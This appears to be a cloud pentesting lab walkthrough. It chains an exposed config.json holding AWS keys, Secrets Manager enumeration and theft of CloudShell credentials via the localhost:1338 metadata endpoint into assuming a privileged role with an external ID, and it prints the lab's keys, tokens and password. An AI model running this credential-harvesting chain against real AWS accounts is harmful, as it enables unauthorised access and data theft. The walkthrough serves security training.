Assume Privileged Role with External ID

Scenario

Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn’t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!

Learning Outcomes

  • Using ffuf to fuzz web server files
  • Familiarity with the AWS CLI
  • Use aws-enumerator to automate permission enumeration
  • Enumerating and extracting secrets from AWS Secrets Manager
  • Enumerating IAM users, roles and policies using the AWS CLI
  • Assuming a role using that requires an External ID
  • Obtaining AWS keys from an AWS Console session

Real World Context

The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022 the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a config.json file that contained AWS credentials for their account. Using AssumeRole is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers’ account.


Attack

First thing we need to do is enumerate the target and for a public facing IP I would use Shodan but this returned no results for the IP Address so we resort back to trusty nmap which shows us Port 80 is open.

❯ nmap -e tun0 -Pn 52.0.51.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 09:15 PST
Nmap scan report for 52.0.51.234
Host is up (0.30s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 33.79 seconds

We visit the site and we are presented with the following landing page

Now that we have found a site, time to do some further enumeration to get an understanding of the land. There are a number of tools that can be used and my personal preference is initially feroxbuster for initial scan and then I switch across to ffuf as required. We are running a scan without recursion and looking for common file extensions and have found a config.json file

❯ feroxbuster -u http://52.0.51.234 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -n -x json txt conf bak xml yml yaml env txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://52.0.51.234
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [json, txt, conf, bak, xml, yml, yaml, env, txt]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      308c http://52.0.51.234/img => http://52.0.51.234/img/
200      GET        5l      264w    11231c http://52.0.51.234/css/agency.min.css
301      GET        9l       28w      308c http://52.0.51.234/css => http://52.0.51.234/css/
200      GET       75l      244w     2807c http://52.0.51.234/js/contact_me.js
200      GET       52l      278w    27787c http://52.0.51.234/img/about/2.jpg
200      GET        6l       25w     1092c http://52.0.51.234/js/agency.min.js
200      GET       25l      154w    12398c http://52.0.51.234/img/about/1.jpg
301      GET        9l       28w      307c http://52.0.51.234/js => http://52.0.51.234/js/
200      GET      221l     1617w   104367c http://52.0.51.234/img/2.png
200      GET        4l       66w    31000c http://52.0.51.234/vendor/font-awesome/css/font-awesome.min.css
200      GET        7l      883w    69453c http://52.0.51.234/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET      937l     2655w    37173c http://52.0.51.234/js/jqBootstrapValidation.js
200      GET        7l     1429w   127343c http://52.0.51.234/vendor/bootstrap/css/bootstrap.min.css
200      GET    10473l    61109w  5805642c http://52.0.51.234/img/portfolio/33.jpg
200      GET     4576l    26608w  2182772c http://52.0.51.234/img/portfolio/11.jpg
200      GET       20l       36w      832c http://52.0.51.234/config.json
200      GET     9055l    52213w  4615185c http://52.0.51.234/img/portfolio/22.jpg
200      GET      447l     1246w    18312c http://52.0.51.234/
301      GET        9l       28w      311c http://52.0.51.234/vendor => http://52.0.51.234/vendor/
[####################] - 19m   201550/201550  0s      found:19      errors:8
[####################] - 19m   201160/201160  172/s   http://52.0.51.234/ 

We use curl to retrieve the contents of the file and we have found a Access and Secret Key as well as an S3 Bucket and OAuth Settings.

❯ curl http://52.0.51.234/config.json
{"aws": {
        "accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
        "secretAccessKey": "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",
        "region": "us-east-1",
        "bucket": "hl-data-download",
        "endpoint": "https://s3.amazonaws.com"
    },
    "serverSettings": {
        "port": 443,
        "timeout": 18000000
    },
    "oauthSettings": {
        "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
        "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
        "clientID": "1012aBcD3456EfGh",
        "clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
        "callbackURL": "https://portal.huge-logistics/callback",
        "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
    }
}

We use the credentials found and then verify that these work by running aws sts get-caller-identity which is the equivalent of the whoami command.

❯ aws configure --profile pentester
AWS Access Key ID [****************NWX4]: AKIAWHEOTHRFYM6CAHHG
AWS Secret Access Key [****************TxXp]: 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
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}

With working credentials we will see if we are able to get any information initially from the bucket that was listed in the config.json file, but all we find are what appears to be transaction logs.

❯ aws --profile pentester s3 ls s3://hl-data-download
2023-08-06 05:56:58       5200 LOG-1-TRANSACT.csv
2023-08-06 05:57:05       5200 LOG-10-TRANSACT.csv
2023-08-06 05:58:04       5200 LOG-100-TRANSACT.csv
2023-08-06 05:57:05       5200 LOG-11-TRANSACT.csv
2023-08-06 05:57:06       5200 LOG-12-TRANSACT.csv
2023-08-06 05:57:07       5200 LOG-13-TRANSACT.csv
2023-08-06 05:57:08       5200 LOG-14-TRANSACT.csv
2023-08-06 05:57:08       5200 LOG-15-TRANSACT.csv
2023-08-06 05:57:09       5200 LOG-16-TRANSACT.csv
2023-08-06 05:57:09       5200 LOG-17-TRANSACT.csv
2023-08-06 05:57:10       5200 LOG-18-TRANSACT.csv
< -- snip -->

We copy one of the files and it is a list of transactions as expected by the title of the file

❯ aws --profile pentester s3 cp s3://hl-data-download/LOG-1-TRANSACT.csv .
download: s3://hl-data-download/LOG-1-TRANSACT.csv to ./LOG-1-TRANSACT.csv

❯ head LOG-1-TRANSACT.csv
Bx8w4Pky82Z19,HL-CUST-ORDER-0751,USD,15000,APPROVED
2R8mHt3eZNJQx,HL-CUST-ORDER-8604,USD,15000,APPROVED
Ek0k74vQDhHUd,HL-CUST-ORDER-1962,USD,15000,APPROVED
u2NQYYTBAjG8B,HL-CUST-ORDER-1642,USD,15000,APPROVED
W2RYflhi2BfjF,HL-CUST-ORDER-4037,USD,15000,APPROVED
PubhFWge7qcDU,HL-CUST-ORDER-6051,USD,15000,APPROVED
UhI69Dsk6uhgs,HL-CUST-ORDER-0529,USD,15000,APPROVED
XObtFax8b0t1o,HL-CUST-ORDER-2706,USD,15000,APPROVED
PfA3yd2F8GBVS,HL-CUST-ORDER-4431,USD,15000,APPROVED
JhFJuR3awbxOM,HL-CUST-ORDER-9252,USD,15000,APPROVED

We will use aws-enumerator to see what other permissions that we may have and first we need to set up our credentials and then we will enumerate the services and can see that we have permissions to DynamoDB, SecretsManager and STS.

❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIAWHEOTHRFYM6CAHHG -aws_secret_access_key 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
Message:  File .env with AWS credentials were created in current folder

❯ aws-enumerator enum services -all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
< -- snip -- >
Message:  Successful EKS: 0 / 1
Message:  Successful DEVICEFARM: 0 / 10
Message:  Successful DYNAMODB: 1 / 5
Message:  Successful ECR: 0 / 2
< -- snip -- >
Message:  Successful S3: 0 / 1
Message:  Successful SECRETSMANAGER: 1 / 2
Message:  Successful SECURITYHUB: 0 / 8
< -- snip -- >
Message:  Successful STS: 2 / 2
Message:  Successful SSM: 0 / 16
< -- snip -- >
Time: 1m3.011993624s
Message:  Enumeration finished

We will dump out the permissions to give us some more details on these permissions and what our next step will be.

❯ aws-enumerator dump -services dynamodb,secretsmanager,sts -filter List

------------------------------------------------------------- DYNAMODB -------------------------------------------------------------


---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------

ListSecrets

--------------------------------------------------------------- STS ---------------------------------------------------------------

We can see that we have ListSecrets and we could retrieve this by using the AWS CLI, but we also have the ability to do this using aws-enumerator

❯ aws-enumerator dump -services secretsmanager -filter List -print

---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------

ListSecrets
{
        "ListSecrets": {
                "NextToken": null,
                "SecretList": [
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z",
                                "CreatedDate": "2023-07-12T18:14:35.74Z",
                                "DeletedDate": null,
                                "Description": "Admin access to MySQL employee database",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-07-12T18:15:38.909Z",
                                "LastRotatedDate": null,
                                "Name": "employee-database-admin",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "41a82b5b-fb44-4ab3-8811-7ea171e9d3c1": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl",
                                "CreatedDate": "2023-07-12T18:15:02.97Z",
                                "DeletedDate": null,
                                "Description": "Access to MySQL employee database",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2024-07-01T00:25:48.338Z",
                                "LastRotatedDate": "2024-07-01T00:25:48.358Z",
                                "Name": "employee-database",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": true,
                                "RotationLambdaARN": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
                                "RotationRules": {
                                        "AutomaticallyAfterDays": 7
                                },
                                "SecretVersionsToStages": {
                                        "01b3eb29-9102-46b5-ad2a-b5d48c4d08fa": [
                                                "AWSCURRENT",
                                                "AWSPENDING"
                                        ],
                                        "be9a9249-c1e0-440b-abdd-83f65aa34956": [
                                                "AWSPREVIOUS"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
                                "CreatedDate": "2023-08-04T21:19:28.466Z",
                                "DeletedDate": null,
                                "Description": "Allow external partner to access cost optimization user and Huge Logistics resources",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-08-06T20:10:16.392Z",
                                "LastRotatedDate": null,
                                "Name": "ext/cost-optimization",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "f7d6ae91-5afd-4a53-93b9-92ee74d8469c": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
                                "CreatedDate": "2023-08-04T22:33:39.828Z",
                                "DeletedDate": null,
                                "Description": "Access to the default payment card for Huge Logistics",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-08-04T22:33:39.872Z",
                                "LastRotatedDate": null,
                                "Name": "billing/hl-default-payment",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "f8e592ca-4d8a-4a85-b7fa-7059539192c5": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        }
                ],
                "ResultMetadata": {}
        }
}

------------------------------------------------------------------------------------------------------------------------------------

This definitely is a treasure trove of secrets and unfortunately we were only able to access the Cost Optimization secret, but that gives us another set of credentials.

❯ aws --profile pentester secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
    "Name": "ext/cost-optimization",
    "VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
    "SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T05:19:28.512000+08:00"
}

Using the credentials, we navigate to the AWS Console

We are able to login and are presented with the Console Home page

Getting access to the console is great, but not always that useful as there may be tools that we want to run which would require us to have IAM credentials. There is an excellent article on Hacking the Cloud that talks about exploiting CloudShell via an undocumented endpoint on Port 1338 which is covered in detail here and is the approach that we are going to take.

There are two methods that we can use, with the first being that we use curl to directly query the metadata and the second to used the AWS CLI to get the value.

[cloudshell-user@ip-10-136-55-216 ~]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44  100    44    0     0  19172      0 --:--:-- --:--:-- --:--:-- 22000
[cloudshell-user@ip-10-136-55-216 ~]$ curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
{
        "Type": "",
        "AccessKeyId": "ASIAWHEOTHRFRPPW5PHS",
        "SecretAccessKey": "Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB",
        "Token": "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+",
        "Expiration": "2024-07-02T02:49:01Z",
        "Code": "Success"

You will note that the above value has an expiration time of 15 minutes. The other as mentioned before is to export the credentials via the AWS CLI

[cloudshell-user@ip-10-136-55-216 ~]$ aws configure export-credentials --format env
export AWS_ACCESS_KEY_ID=ASIAWHEOTHRFQJJRYWPI
export AWS_SECRET_ACCESS_KEY=7zVzJqZoFplnv1uCV6fBr4NMFwiQ5Ew5/AanAFeL
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLWVhc3QtMSJHMEUCIHlZxVAUD7pNtlVy13nfI/05IXzMMa91LEiybUisufPxAiEAuzGNajy4WKFhhMepy52y36oJ9mS3kEM/bGIawq+0e0YqpgIIYhAAGgw0Mjc2NDgzMDIxNTUiDJm5eFl997VflweGXCqDAhUkZ7f5r6xNyE02maL3yvOD8AtRYG4uRDx6knbn4ECLMcagBhZZrDFpguphlnRXR2azlKTA1j4wEGqrJh0t53Hbedm+T89M8QEAeT+qd0tdce9TbLVaj2AetFyo13Ka4n/DgoRzWeHYZI0zuYloTRxQXtPZ8P+O8kvnEjmbxanVeATJ0ZmElxiY53jZlrW3UVRhONUVjdlLudo2DfIuNXBRK8J6+af953FwkO0sd/mb44bcrec4V86hd+M1UgYdXe5mgyrKP3SFWpx1K/8BiKrjVqP7dOUH/70AW4zzIW4l75+4P7Nd7oEo8gRsgSoLv1IP15d2zOEqTEE7Xx8sKqzvXtMwqMa4sgY6nQEoI/iNPYC85Qikra0CZAjAT3M5mTXF1NLA2oND88eL/bG1wtBS8LibtBCOT9Wao3F1j475B4go8ndlvy0nFQnaiVDHs2d8vxVRSo0XeRJP2mINrY+WXABLxOTDxLj2/gPoy1VilE3JeDoiKUAfTmd0FMzUWhxovnJofaEWbpDycuR5TYI16hJJuq9DlVVJTpyISuP799EXRXeK+gfo
[cloudshell-user@ip-10-136-55-216 ~]$ 

We configure AWS CLI with the above credentials and token

Ignore the differences in the token values above to what is entered below as there was a time delay and had to refresh the values.

❯ aws --profile ext-cost-user configure
AWS Access Key ID [****************YWPI]: ASIAWHEOTHRFRPPW5PHS
AWS Secret Access Key [****************AFeL]: Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB
Default region name [us-east-1]:
Default output format [None]:

❯ aws --profile ext-cost-user configure set aws_session_token "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+"

❯ aws --profile ext-cost-user sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRFTNCWM7FHT",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}

We then enumerate the user to see attached policies and there are two, which are ExtCloudShell and ExtPolicyTest

❯ aws --profile ext-cost-user iam list-attached-user-policies --user-name ext-cost-user
{
    "AttachedPolicies": [
        {
            "PolicyName": "ExtCloudShell",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
        },
        {
            "PolicyName": "ExtPolicyTest",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
        }
    ]
}

We don’t have access to view ExtCloudShell, but we can view the ExtPolicyTest and we can see that the current version is v4

❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
{
    "Policy": {
        "PolicyName": "ExtPolicyTest",
        "PolicyId": "ANPAWHEOTHRF7772VGA5J",
        "Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T21:47:26+00:00",
        "UpdateDate": "2023-08-06T20:23:42+00:00",
        "Tags": []
    }
}

We further enumerate the policy and we can see that there are AWS permissions and can see that there is a role ExternalCostOpimizeAccess as well as a Policy Payment

❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                        "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                        "arn:aws:iam::427648302155:policy/Payment",
                        "arn:aws:iam::427648302155:user/ext-cost-user"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-06T20:23:42+00:00"
    }
}

We drill down into the role and we can see that our user has the right to AssumeRole and do note that there is a Conditional Requirement of STS for an ExternalId value.

❯ aws --profile ext-cost-user iam get-role --role-name ExternalCostOpimizeAccess
{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2024-07-01T19:47:18+00:00",
            "Region": "us-east-1"
        }
    }
}

We then enumerate Attached Role Policies for the role and we can see that the Payment policy is attached to the role.

❯ aws --profile ext-cost-user iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}

Looking into the policy we can see that this is at Version v2

❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
{
    "Policy": {
        "PolicyName": "Payment",
        "PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
        "Arn": "arn:aws:iam::427648302155:policy/Payment",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T22:03:41+00:00",
        "UpdateDate": "2023-08-04T22:34:19+00:00",
        "Tags": []
    }
}

We then list the the Policy and note that this has GetSecretValue for the default payment method for the company.

❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19+00:00"
    }
}

You will recall that our account had permission to AssumeRole and also that there was a conditional requirement to specify an external-id and we are able to successfully assume the role.

❯ aws --profile ext-cost-user sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOptimize --external-id 37911
{
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRFT6Q42XPZ",
        "SecretAccessKey": "3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N",
        "SessionToken": "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA==",
        "Expiration": "2024-07-02T04:15:53+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
    }
}

We update our configuration with the credentials and session token and then verify that it is functioning correctly.

❯ aws --profile cost-optimize configure
AWS Access Key ID [None]: ASIAWHEOTHRFT6Q42XPZ
AWS Secret Access Key [None]: 3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N
Default region name [None]: us-east-1
Default output format [None]:

